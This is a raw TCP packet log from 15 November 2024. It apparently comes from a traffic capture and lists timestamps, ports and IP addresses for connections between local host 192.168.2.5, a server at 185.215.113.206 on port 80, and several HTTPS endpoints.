Nov 15, 2024 16:16:29.451333046 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451333046 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451334000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451370955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451406002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451416969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451416969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451442003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451461077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451477051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451510906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451514006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451546907 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451550961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451555014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451581001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451613903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451616049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451632977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451648951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451683044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451704979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451704979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451715946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451749086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451782942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451782942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451782942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451782942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451818943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451829910 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451853991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451888084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451889038 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451925039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451958895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.451988935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451989889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.451992035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452009916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452025890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452060938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452070951 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452094078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452128887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452162981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452176094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452176094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452176094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452197075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452230930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452250957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452250957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452265024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452299118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452313900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452313900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452332973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452362061 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452368021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452373981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452404022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452425957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452436924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452475071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452513933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452548027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452584028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452590942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452590942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452616930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452626944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452651978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452682972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452686071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452721119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452728033 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452728987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452754974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452764034 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452790022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452824116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452831030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452831030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452857971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452858925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452893972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452923059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452929974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452960014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.452964067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.452994108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453000069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453036070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453071117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453071117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453104973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453116894 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453116894 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453142881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453176975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453187943 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453202009 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453211069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453244925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453268051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453268051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453279018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453294039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453313112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453346968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453355074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453388929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453399897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453433990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453458071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453458071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453458071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453468084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453484058 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453500986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453536987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453571081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453604937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453614950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453614950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453614950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453641891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453665972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453680038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453691959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453720093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453720093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453726053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453747988 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453762054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453774929 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453794956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453814030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453839064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453840971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453881025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453887939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453888893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453919888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.453942060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453942060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.453943968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.454000950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.458933115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458945036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458955050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458966017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458976030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458986998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.458997011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459007025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459008932 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459023952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459033966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459029913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459045887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459055901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459078074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459081888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459081888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459089994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459101915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459112883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459124088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459134102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459144115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459153891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459163904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459163904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459166050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459177017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459182978 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459191084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459202051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459213018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459223032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459234953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.459286928 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459305048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459305048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459305048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.459305048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.477088928 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.491542101 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.495383978 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.514586926 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.514676094 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.514985085 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.515001059 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.515430927 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.515453100 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.515893936 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.515899897 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.516143084 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.516155958 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.516483068 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.516486883 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.525979042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.526001930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.526011944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.526042938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.526067972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564100981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564137936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564172983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564254999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564254999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564254999 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564590931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564626932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564662933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564697981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564759970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564759970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564759970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564763069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564799070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564832926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564867020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564873934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564873934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564903975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.564907074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.564953089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.565051079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565084934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565118074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565151930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565186024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565217972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.565349102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.565349102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.565349102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.565349102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.565349102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.568694115 CET	49838	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:29.568733931 CET	443	49838	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:29.568811893 CET	49838	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:29.569130898 CET	49838	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:29.569149971 CET	443	49838	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:29.589346886 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.589807987 CET	49836	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.589829922 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.590173006 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.592434883 CET	49836	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.592514992 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.593030930 CET	49836	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.598709106 CET	49839	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:29.598752975 CET	443	49839	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:29.598989010 CET	49839	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:29.598989010 CET	49839	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:29.599025011 CET	443	49839	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:29.600610971 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.601247072 CET	49828	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.601268053 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.601780891 CET	49828	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.601788044 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.608108997 CET	443	49835	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.608407974 CET	49835	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.608428955 CET	443	49835	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.608896971 CET	443	49835	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.609509945 CET	49835	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.609587908 CET	443	49835	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.630595922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:29.635354042 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.635405064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:29.638962030 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.639126062 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.639408112 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.644917965 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.645086050 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.645190001 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.646924019 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.654459953 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.654474974 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.655860901 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.655860901 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.655905962 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.655942917 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.656521082 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.656588078 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.656867981 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.656975985 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.656996012 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.657885075 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.657931089 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.670356989 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.670404911 CET	443	49840	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.670653105 CET	49840	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.675740957 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.675765038 CET	443	49841	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.675875902 CET	49841	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.678802013 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.678977013 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.679167032 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.682602882 CET	443	49830	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.682861090 CET	49830	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.682885885 CET	443	49830	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.684071064 CET	49842	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:29.684119940 CET	443	49842	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:29.684338093 CET	443	49830	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.684360981 CET	49842	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:29.684391975 CET	49830	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.684678078 CET	49842	443	192.168.2.5	108.156.211.59
Nov 15, 2024 16:16:29.684709072 CET	443	49842	108.156.211.59	192.168.2.5
Nov 15, 2024 16:16:29.685221910 CET	49830	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.685333014 CET	443	49830	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.685399055 CET	49830	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.685406923 CET	443	49830	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.686299086 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:29.686352015 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:29.686556101 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:29.687226057 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:29.687256098 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:29.699351072 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.724639893 CET	49835	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.725619078 CET	49830	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.730540037 CET	443	49834	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.735922098 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.735986948 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.736046076 CET	49836	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.764961958 CET	49836	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:29.765028954 CET	443	49836	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:29.801006079 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.801161051 CET	443	49831	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.801234961 CET	49831	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.808773994 CET	49834	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.845958948 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.846273899 CET	443	49828	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:29.846383095 CET	49828	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:29.876754999 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.877060890 CET	49832	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:29.877080917 CET	443	49832	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:29.880635023 CET	443	49832	13.107.246.57	192.168.2.5
